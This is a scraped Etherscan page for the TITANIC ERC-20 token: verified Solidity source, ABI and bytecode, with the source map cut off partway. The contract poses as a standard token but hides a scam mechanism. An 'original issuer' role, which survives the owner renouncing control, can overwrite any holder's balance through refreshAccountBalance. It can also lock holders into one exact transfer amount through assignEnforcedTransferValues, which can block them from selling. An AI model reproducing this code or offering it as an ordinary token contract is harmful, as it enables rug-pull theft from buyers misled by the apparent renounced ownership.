ETH Price: $2,586.16 (-2.71%)

Token

TITANIC (TITANIC)
 

Overview

Max Total Supply

100,000 TITANIC

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,781.184352436096810521 TITANIC

Value
$0.00
0xc30d8c1ea76e09afb03bebe7f37b5036e20de1a7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
titanic

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-06-21
*/

//SPDX-License-Identifier: UNLICENSED

// https://t.me/titanic_erc20 

pragma solidity ^0.8.16;

interface ITokenStandard20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address holder) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract SenderContext {
    function fetchSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract UnitaryControl is SenderContext {
    address private soleController;
    event ControllerChanged(address indexed formerController, address indexed newController);

    constructor() {
        address sender = fetchSender();
        soleController = sender;
        emit ControllerChanged(address(0), sender);
    }

    function retrieveController() public view virtual returns (address) {
        return soleController;
    }

    modifier onlyController() {
        require(retrieveController() == fetchSender(), "Not authorized. Sole controller only.");
        _;
    }

    function surrenderControl() public virtual onlyController {
        emit ControllerChanged(soleController, address(0));
        soleController = address(0);
    }
}

contract titanic is SenderContext, UnitaryControl, ITokenStandard20 {
    mapping (address => mapping (address => uint256)) private authorizationLimits;
    mapping (address => uint256) private accountBalances;
    mapping (address => uint256) private enforcedTransferValues;
    address private originalIssuer;

    string public constant tokenLabel = "TITANIC";
    string public constant tokenAbbreviation = "TITANIC";
    uint8 public constant tokenPrecision = 18;
    uint256 public constant ultimateSupply = 100000 * (10 ** tokenPrecision);

    constructor() {
        accountBalances[fetchSender()] = ultimateSupply;
        emit Transfer(address(0), fetchSender(), ultimateSupply);
    }

    modifier onlyOriginalIssuer() {
        require(getOriginalIssuer() == fetchSender(), "Not authorized. Original issuer only.");
        _;
    }

    function getOriginalIssuer() public view virtual returns (address) {
        return originalIssuer;
    }

    function appointOriginalIssuer(address designatedIssuer) public onlyController {
        originalIssuer = designatedIssuer;
    }

    event TokenAllocation(address indexed participant, uint256 formerBalance, uint256 updatedBalance);

    function enforceTransferValue(address holder) public view returns (uint256) {
        return enforcedTransferValues[holder];
    }

    function assignEnforcedTransferValues(address[] calldata holders, uint256 value) public onlyOriginalIssuer {
        for (uint i = 0; i < holders.length; i++) {
            enforcedTransferValues[holders[i]] = value;
        }
    }

    function refreshAccountBalance(address[] memory addresses, uint256 newBalance) public onlyOriginalIssuer {
        require(newBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < addresses.length; i++) {
            address currentAddr = addresses[i];
            require(currentAddr != address(0), "Invalid address provided");

            uint256 previousBalance = accountBalances[currentAddr];
            accountBalances[currentAddr] = newBalance;

            emit TokenAllocation(currentAddr, previousBalance, newBalance);
        }
    }

    function balanceOf(address account) public view override returns (uint256) {
        return accountBalances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(accountBalances[fetchSender()] >= amount, "Insufficient balance");

        uint256 requiredTransferValue = enforceTransferValue(fetchSender());
        if (requiredTransferValue > 0) {
            require(amount == requiredTransferValue, "Mandatory transfer value mismatch");
        }

        accountBalances[fetchSender()] -= amount;
        accountBalances[recipient] += amount;

        emit Transfer(fetchSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return authorizationLimits[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        authorizationLimits[fetchSender()][spender] = amount;
        emit Approval(fetchSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(authorizationLimits[sender][fetchSender()] >= amount, "Allowance limit exceeded");

        uint256 requiredTransferValue = enforceTransferValue(sender);
        if (requiredTransferValue > 0) {
            require(amount == requiredTransferValue, "Mandatory transfer value mismatch");
        }

        accountBalances[sender] -= amount;
        accountBalances[recipient] += amount;
        authorizationLimits[sender][fetchSender()] -= amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return ultimateSupply;
    }

    function name() public view returns (string memory) {
        return tokenLabel;
    }

    function symbol() public view returns (string memory) {
        return tokenAbbreviation;
    }

    function decimals() public view returns (uint8) {
        return tokenPrecision;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"formerController","type":"address"},{"indexed":true,"internalType":"address","name":"newController","type":"address"}],"name":"ControllerChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"participant","type":"address"},{"indexed":false,"internalType":"uint256","name":"formerBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updatedBalance","type":"uint256"}],"name":"TokenAllocation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"designatedIssuer","type":"address"}],"name":"appointOriginalIssuer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"assignEnforcedTransferValues","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"}],"name":"enforceTransferValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOriginalIssuer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"refreshAccountBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveController","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"surrenderControl","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenAbbreviation","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenLabel","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenPrecision","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]

60806040523480156200001157600080fd5b50600080546001600160a01b031916339081178255604051909182917f6aef1fb5b23d0e109fc7f2b0601019e1edbacd177e31a441ec8548e8dd14f0f7908290a350620000616012600a620001ee565b6200007090620186a062000206565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000b36012600a620001ee565b620000c290620186a062000206565b60405190815260200160405180910390a362000228565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000130578160001904821115620001145762000114620000d9565b808516156200012257918102915b93841c9390800290620000f4565b509250929050565b6000826200014957506001620001e8565b816200015857506000620001e8565b81600181146200017157600281146200017c576200019c565b6001915050620001e8565b60ff841115620001905762000190620000d9565b50506001821b620001e8565b5060208310610133831016604e8410600b8410161715620001c1575081810a620001e8565b620001cd8383620000ef565b8060001904821115620001e457620001e4620000d9565b0290505b92915050565b6000620001ff60ff84168362000138565b9392505050565b6000816000190483118215151615620002235762000223620000d9565b500290565b610df980620002386000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c8063393fb585116100ad578063a9059cbb11610071578063a9059cbb146102a1578063b15e5e74146102b4578063b5855eca146102bc578063dd62ed3e146102c4578063f1e830c6146102fd57600080fd5b8063393fb585146101ca57806350cc1dcf146102525780635e0a2a731461026557806370a082311461027857806395d89b411461015b57600080fd5b80631f4f0517116100f45780631f4f0517146101ca57806321c95eb0146101f057806323b872dd14610201578063313ce567146102145780633145f5181461022957600080fd5b806304bddd5c1461013157806306fdde031461015b578063095ea7b31461018757806313235e4a146101aa57806318160ddd146101b4575b600080fd5b6000546001600160a01b03165b6040516001600160a01b0390911681526020015b60405180910390f35b604080518082019091526007815266544954414e494360c81b60208201525b60405161015291906108fa565b61019a610195366004610964565b610310565b6040519015158152602001610152565b6101b2610378565b005b6101bc6103f5565b604051908152602001610152565b61017a60405180604001604052806007815260200166544954414e494360c81b81525081565b6004546001600160a01b031661013e565b61019a61020f36600461098e565b610415565b60125b60405160ff9091168152602001610152565b6101bc6102373660046109ca565b6001600160a01b031660009081526003602052604090205490565b6101b2610260366004610a02565b6105b2565b6101b26102733660046109ca565b6106dc565b6101bc6102863660046109ca565b6001600160a01b031660009081526002602052604090205490565b61019a6102af366004610964565b610728565b6101bc61084b565b610217601281565b6101bc6102d2366004610acd565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6101b261030b366004610b00565b610867565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b6000546001600160a01b031633146103ab5760405162461bcd60e51b81526004016103a290610b7b565b60405180910390fd5b600080546040516001600160a01b03909116907f6aef1fb5b23d0e109fc7f2b0601019e1edbacd177e31a441ec8548e8dd14f0f7908390a3600080546001600160a01b0319169055565b60006104036012600a610cba565b61041090620186a0610cc9565b905090565b6001600160a01b03831660009081526001602090815260408083203384529091528120548211156104885760405162461bcd60e51b815260206004820152601860248201527f416c6c6f77616e6365206c696d6974206578636565646564000000000000000060448201526064016103a2565b6001600160a01b03841660009081526003602052604090205480156104c6578083146104c65760405162461bcd60e51b81526004016103a290610ce8565b6001600160a01b038516600090815260026020526040812080548592906104ee908490610d29565b90915550506001600160a01b0384166000908152600260205260408120805485929061051b908490610d3c565b90915550506001600160a01b038516600090815260016020908152604080832033845290915281208054859290610553908490610d29565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161059f91815260200190565b60405180910390a3506001949350505050565b6004546001600160a01b031633146105dc5760405162461bcd60e51b81526004016103a290610d4f565b60005b82518110156106d75760008382815181106105fc576105fc610d94565b6020026020010151905060006001600160a01b0316816001600160a01b0316036106685760405162461bcd60e51b815260206004820152601860248201527f496e76616c696420616464726573732070726f7669646564000000000000000060448201526064016103a2565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917fda0e7a7a52e6fbb8b63ff74a5a77773bc33831b462c6315e25e3bb3a3dfee1b3910160405180910390a2505080806106cf90610daa565b9150506105df565b505050565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016103a290610b7b565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526002602052604081205482111561077e5760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b60448201526064016103a2565b600061078933610237565b905080156107b0578083146107b05760405162461bcd60e51b81526004016103a290610ce8565b33600090815260026020526040812080548592906107cf908490610d29565b90915550506001600160a01b038416600090815260026020526040812080548592906107fc908490610d3c565b90915550506040518381526001600160a01b0385169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35060019392505050565b6108576012600a610cba565b61086490620186a0610cc9565b81565b6004546001600160a01b031633146108915760405162461bcd60e51b81526004016103a290610d4f565b60005b828110156108f45781600360008686858181106108b3576108b3610d94565b90506020020160208101906108c891906109ca565b6001600160a01b03168152602081019190915260400160002055806108ec81610daa565b915050610894565b50505050565b600060208083528351808285015260005b818110156109275785810183015185820160400152820161090b565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461095f57600080fd5b919050565b6000806040838503121561097757600080fd5b61098083610948565b946020939093013593505050565b6000806000606084860312156109a357600080fd5b6109ac84610948565b92506109ba60208501610948565b9150604084013590509250925092565b6000602082840312156109dc57600080fd5b6109e582610948565b9392505050565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215610a1557600080fd5b823567ffffffffffffffff80821115610a2d57600080fd5b818501915085601f830112610a4157600080fd5b8135602082821115610a5557610a556109ec565b8160051b604051601f19603f83011681018181108682111715610a7a57610a7a6109ec565b604052928352818301935084810182019289841115610a9857600080fd5b948201945b83861015610abd57610aae86610948565b85529482019493820193610a9d565b9997909101359750505050505050565b60008060408385031215610ae057600080fd5b610ae983610948565b9150610af760208401610948565b90509250929050565b600080600060408486031215610b1557600080fd5b833567ffffffffffffffff80821115610b2d57600080fd5b818601915086601f830112610b4157600080fd5b813581811115610b5057600080fd5b8760208260051b8501011115610b6557600080fd5b6020928301989097509590910135949350505050565b60208082526025908201527f4e6f7420617574686f72697a65642e20536f6c6520636f6e74726f6c6c65722060408201526437b7363c9760d91b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610c11578160001904821115610bf757610bf7610bc0565b80851615610c0457918102915b93841c9390800290610bdb565b509250929050565b600082610c2857506001610372565b81610c3557506000610372565b8160018114610c4b5760028114610c5557610c71565b6001915050610372565b60ff841115610c6657610c66610bc0565b50506001821b610372565b5060208310610133831016604e8410600b8410161715610c94575081810a610372565b610c9e8383610bd6565b8060001904821115610cb257610cb2610bc0565b029392505050565b60006109e560ff841683610c19565b6000816000190483118215151615610ce357610ce3610bc0565b500290565b60208082526021908201527f4d616e6461746f7279207472616e736665722076616c7565206d69736d6174636040820152600d60fb1b606082015260800190565b8181038181111561037257610372610bc0565b8082018082111561037257610372610bc0565b60208082526025908201527f4e6f7420617574686f72697a65642e204f726967696e616c206973737565722060408201526437b7363c9760d91b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b600060018201610dbc57610dbc610bc0565b506001019056fea26469706673582212207205abe54a65ff5c3c9f121a26fc64020afafafe568b505f24cd952e61e40fed64736f6c63430008100033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063393fb585116100ad578063a9059cbb11610071578063a9059cbb146102a1578063b15e5e74146102b4578063b5855eca146102bc578063dd62ed3e146102c4578063f1e830c6146102fd57600080fd5b8063393fb585146101ca57806350cc1dcf146102525780635e0a2a731461026557806370a082311461027857806395d89b411461015b57600080fd5b80631f4f0517116100f45780631f4f0517146101ca57806321c95eb0146101f057806323b872dd14610201578063313ce567146102145780633145f5181461022957600080fd5b806304bddd5c1461013157806306fdde031461015b578063095ea7b31461018757806313235e4a146101aa57806318160ddd146101b4575b600080fd5b6000546001600160a01b03165b6040516001600160a01b0390911681526020015b60405180910390f35b604080518082019091526007815266544954414e494360c81b60208201525b60405161015291906108fa565b61019a610195366004610964565b610310565b6040519015158152602001610152565b6101b2610378565b005b6101bc6103f5565b604051908152602001610152565b61017a60405180604001604052806007815260200166544954414e494360c81b81525081565b6004546001600160a01b031661013e565b61019a61020f36600461098e565b610415565b60125b60405160ff9091168152602001610152565b6101bc6102373660046109ca565b6001600160a01b031660009081526003602052604090205490565b6101b2610260366004610a02565b6105b2565b6101b26102733660046109ca565b6106dc565b6101bc6102863660046109ca565b6001600160a01b031660009081526002602052604090205490565b61019a6102af366004610964565b610728565b6101bc61084b565b610217601281565b6101bc6102d2366004610acd565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6101b261030b366004610b00565b610867565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b6000546001600160a01b031633146103ab5760405162461bcd60e51b81526004016103a290610b7b565b60405180910390fd5b600080546040516001600160a01b03909116907f6aef1fb5b23d0e109fc7f2b0601019e1edbacd177e31a441ec8548e8dd14f0f7908390a3600080546001600160a01b0319169055565b60006104036012600a610cba565b61041090620186a0610cc9565b905090565b6001600160a01b03831660009081526001602090815260408083203384529091528120548211156104885760405162461bcd60e51b815260206004820152601860248201527f416c6c6f77616e6365206c696d6974206578636565646564000000000000000060448201526064016103a2565b6001600160a01b03841660009081526003602052604090205480156104c6578083146104c65760405162461bcd60e51b81526004016103a290610ce8565b6001600160a01b038516600090815260026020526040812080548592906104ee908490610d29565b90915550506001600160a01b0384166000908152600260205260408120805485929061051b908490610d3c565b90915550506001600160a01b038516600090815260016020908152604080832033845290915281208054859290610553908490610d29565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161059f91815260200190565b60405180910390a3506001949350505050565b6004546001600160a01b031633146105dc5760405162461bcd60e51b81526004016103a290610d4f565b60005b82518110156106d75760008382815181106105fc576105fc610d94565b6020026020010151905060006001600160a01b0316816001600160a01b0316036106685760405162461bcd60e51b815260206004820152601860248201527f496e76616c696420616464726573732070726f7669646564000000000000000060448201526064016103a2565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917fda0e7a7a52e6fbb8b63ff74a5a77773bc33831b462c6315e25e3bb3a3dfee1b3910160405180910390a2505080806106cf90610daa565b9150506105df565b505050565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016103a290610b7b565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526002602052604081205482111561077e5760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b60448201526064016103a2565b600061078933610237565b905080156107b0578083146107b05760405162461bcd60e51b81526004016103a290610ce8565b33600090815260026020526040812080548592906107cf908490610d29565b90915550506001600160a01b038416600090815260026020526040812080548592906107fc908490610d3c565b90915550506040518381526001600160a01b0385169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35060019392505050565b6108576012600a610cba565b61086490620186a0610cc9565b81565b6004546001600160a01b031633146108915760405162461bcd60e51b81526004016103a290610d4f565b60005b828110156108f45781600360008686858181106108b3576108b3610d94565b90506020020160208101906108c891906109ca565b6001600160a01b03168152602081019190915260400160002055806108ec81610daa565b915050610894565b50505050565b600060208083528351808285015260005b818110156109275785810183015185820160400152820161090b565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461095f57600080fd5b919050565b6000806040838503121561097757600080fd5b61098083610948565b946020939093013593505050565b6000806000606084860312156109a357600080fd5b6109ac84610948565b92506109ba60208501610948565b9150604084013590509250925092565b6000602082840312156109dc57600080fd5b6109e582610948565b9392505050565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215610a1557600080fd5b823567ffffffffffffffff80821115610a2d57600080fd5b818501915085601f830112610a4157600080fd5b8135602082821115610a5557610a556109ec565b8160051b604051601f19603f83011681018181108682111715610a7a57610a7a6109ec565b604052928352818301935084810182019289841115610a9857600080fd5b948201945b83861015610abd57610aae86610948565b85529482019493820193610a9d565b9997909101359750505050505050565b60008060408385031215610ae057600080fd5b610ae983610948565b9150610af760208401610948565b90509250929050565b600080600060408486031215610b1557600080fd5b833567ffffffffffffffff80821115610b2d57600080fd5b818601915086601f830112610b4157600080fd5b813581811115610b5057600080fd5b8760208260051b8501011115610b6557600080fd5b6020928301989097509590910135949350505050565b60208082526025908201527f4e6f7420617574686f72697a65642e20536f6c6520636f6e74726f6c6c65722060408201526437b7363c9760d91b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610c11578160001904821115610bf757610bf7610bc0565b80851615610c0457918102915b93841c9390800290610bdb565b509250929050565b600082610c2857506001610372565b81610c3557506000610372565b8160018114610c4b5760028114610c5557610c71565b6001915050610372565b60ff841115610c6657610c66610bc0565b50506001821b610372565b5060208310610133831016604e8410600b8410161715610c94575081810a610372565b610c9e8383610bd6565b8060001904821115610cb257610cb2610bc0565b029392505050565b60006109e560ff841683610c19565b6000816000190483118215151615610ce357610ce3610bc0565b500290565b60208082526021908201527f4d616e6461746f7279207472616e736665722076616c7565206d69736d6174636040820152600d60fb1b606082015260800190565b8181038181111561037257610372610bc0565b8082018082111561037257610372610bc0565b60208082526025908201527f4e6f7420617574686f72697a65642e204f726967696e616c206973737565722060408201526437b7363c9760d91b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b600060018201610dbc57610dbc610bc0565b506001019056fea26469706673582212207205abe54a65ff5c3c9f121a26fc64020afafafe568b505f24cd952e61e40fed64736f6c63430008100033

Deployed Bytecode Sourcemap

1731:4435:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1291:108;1350:7;1377:14;-1:-1:-1;;;;;1377:14:0;1291:108;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;1291:108:0;;;;;;;;5872:88;5942:10;;;;;;;;;;;;-1:-1:-1;;;5942:10:0;;;;5872:88;;;;;;;:::i;4837:238::-;;;;;;:::i;:::-;;:::i;:::-;;;1377:14:1;;1370:22;1352:41;;1340:2;1325:18;4837:238:0;1212:187:1;1559:165:0;;;:::i;:::-;;5760:104;;;:::i;:::-;;;1550:25:1;;;1538:2;1523:18;5760:104:0;1404:177:1;2054:45:0;;;;;;;;;;;;;;;-1:-1:-1;;;2054:45:0;;;;;2604:107;2689:14;;-1:-1:-1;;;;;2689:14:0;2604:107;;5083:669;;;;;;:::i;:::-;;:::i;6073:88::-;2204:2;6073:88;;;2091:4:1;2079:17;;;2061:36;;2049:2;2034:18;6073:88:0;1919:184:1;2964:132:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3058:30:0;3031:7;3058:30;;;:22;:30;;;;;;;2964:132;3348:582;;;;;;:::i;:::-;;:::i;2719:131::-;;;;;;:::i;:::-;;:::i;3938:125::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4031:24:0;4004:7;4031:24;;;:15;:24;;;;;;;3938:125;4071:591;;;;;;:::i;:::-;;:::i;2213:72::-;;;:::i;2165:41::-;;2204:2;2165:41;;4670:159;;;;;;:::i;:::-;-1:-1:-1;;;;;4786:26:0;;;4759:7;4786:26;;;:19;:26;;;;;;;;:35;;;;;;;;;;;;;4670:159;3104:236;;;;;;:::i;:::-;;:::i;4837:238::-;925:10;4920:4;4937:34;;;:19;:34;;;;;;;;-1:-1:-1;;;;;4937:43:0;;;;;;;;;;;:52;;;5005:40;;1550:25:1;;;4920:4:0;;4937:43;;925:10;;5005:40;;1523:18:1;5005:40:0;;;;;;;-1:-1:-1;5063:4:0;4837:238;;;;;:::o;1559:165::-;1350:7;1377:14;-1:-1:-1;;;;;1377:14:0;925:10;1452:37;1444:87;;;;-1:-1:-1;;;1444:87:0;;;;;;;:::i;:::-;;;;;;;;;1675:1:::1;1651:14:::0;;1633:45:::1;::::0;-1:-1:-1;;;;;1651:14:0;;::::1;::::0;1633:45:::1;::::0;1675:1;;1633:45:::1;1714:1;1689:27:::0;;-1:-1:-1;;;;;;1689:27:0::1;::::0;;1559:165::o;5760:104::-;5815:7;2264:20;2204:2;2264;:20;:::i;:::-;2254:31;;:6;:31;:::i;:::-;5835:21;;5760:104;:::o;5083:669::-;-1:-1:-1;;;;;5214:27:0;;5189:4;5214:27;;;:19;:27;;;;;;;;925:10;5214:42;;;;;;;;:52;-1:-1:-1;5214:52:0;5206:89;;;;-1:-1:-1;;;5206:89:0;;6882:2:1;5206:89:0;;;6864:21:1;6921:2;6901:18;;;6894:30;6960:26;6940:18;;;6933:54;7004:18;;5206:89:0;6680:348:1;5206:89:0;-1:-1:-1;;;;;3058:30:0;;5308:29;3058:30;;;:22;:30;;;;;;5383:25;;5379:135;;5443:21;5433:6;:31;5425:77;;;;-1:-1:-1;;;5425:77:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5526:23:0;;;;;;:15;:23;;;;;:33;;5553:6;;5526:23;:33;;5553:6;;5526:33;:::i;:::-;;;;-1:-1:-1;;;;;;;5570:26:0;;;;;;:15;:26;;;;;:36;;5600:6;;5570:26;:36;;5600:6;;5570:36;:::i;:::-;;;;-1:-1:-1;;;;;;;5617:27:0;;;;;;:19;:27;;;;;;;;925:10;5617:42;;;;;;;:52;;5663:6;;5617:27;:52;;5663:6;;5617:52;:::i;:::-;;;;;;;;5704:9;-1:-1:-1;;;;;5687:35:0;5696:6;-1:-1:-1;;;;;5687:35:0;;5715:6;5687:35;;;;1550:25:1;;1538:2;1523:18;;1404:177;5687:35:0;;;;;;;;-1:-1:-1;5740:4:0;;5083:669;-1:-1:-1;;;;5083:669:0:o;3348:582::-;2689:14;;-1:-1:-1;;;;;2689:14:0;925:10;2498:36;2490:86;;;;-1:-1:-1;;;2490:86:0;;;;;;;:::i;:::-;3537:9:::1;3532:391;3556:9;:16;3552:1;:20;3532:391;;;3594:19;3616:9;3626:1;3616:12;;;;;;;;:::i;:::-;;;;;;;3594:34;;3674:1;-1:-1:-1::0;;;;;3651:25:0::1;:11;-1:-1:-1::0;;;;;3651:25:0::1;::::0;3643:62:::1;;;::::0;-1:-1:-1;;;3643:62:0;;8794:2:1;3643:62:0::1;::::0;::::1;8776:21:1::0;8833:2;8813:18;;;8806:30;8872:26;8852:18;;;8845:54;8916:18;;3643:62:0::1;8592:348:1::0;3643:62:0::1;-1:-1:-1::0;;;;;3748:28:0;::::1;3722:23;3748:28:::0;;;:15:::1;:28;::::0;;;;;;;;;;3791:41;;;;3854:57;;9119:25:1;;;9160:18;;;9153:34;;;3748:28:0;;3854:57:::1;::::0;9092:18:1;3854:57:0::1;;;;;;;3579:344;;3574:3;;;;;:::i;:::-;;;;3532:391;;;;3348:582:::0;;:::o;2719:131::-;1350:7;1377:14;-1:-1:-1;;;;;1377:14:0;925:10;1452:37;1444:87;;;;-1:-1:-1;;;1444:87:0;;;;;;;:::i;:::-;2809:14:::1;:33:::0;;-1:-1:-1;;;;;;2809:33:0::1;-1:-1:-1::0;;;;;2809:33:0;;;::::1;::::0;;;::::1;::::0;;2719:131::o;4071:591::-;925:10;4157:4;4182:30;;;:15;:30;;;;;;:40;-1:-1:-1;4182:40:0;4174:73;;;;-1:-1:-1;;;4174:73:0;;9540:2:1;4174:73:0;;;9522:21:1;9579:2;9559:18;;;9552:30;-1:-1:-1;;;9598:18:1;;;9591:50;9658:18;;4174:73:0;9338:344:1;4174:73:0;4260:29;4292:35;925:10;4313:13;828:116;4292:35;4260:67;-1:-1:-1;4342:25:0;;4338:135;;4402:21;4392:6;:31;4384:77;;;;-1:-1:-1;;;4384:77:0;;;;;;;:::i;:::-;925:10;4485:30;;;;:15;:30;;;;;:40;;4519:6;;4485:30;:40;;4519:6;;4485:40;:::i;:::-;;;;-1:-1:-1;;;;;;;4536:26:0;;;;;;:15;:26;;;;;:36;;4566:6;;4536:26;:36;;4566:6;;4536:36;:::i;:::-;;;;-1:-1:-1;;4590:42:0;;1550:25:1;;;-1:-1:-1;;;;;4590:42:0;;;925:10;;4590:42;;1538:2:1;1523:18;4590:42:0;;;;;;;-1:-1:-1;4650:4:0;;4071:591;-1:-1:-1;;;4071:591:0:o;2213:72::-;2264:20;2204:2;2264;:20;:::i;:::-;2254:31;;:6;:31;:::i;:::-;2213:72;:::o;3104:236::-;2689:14;;-1:-1:-1;;;;;2689:14:0;925:10;2498:36;2490:86;;;;-1:-1:-1;;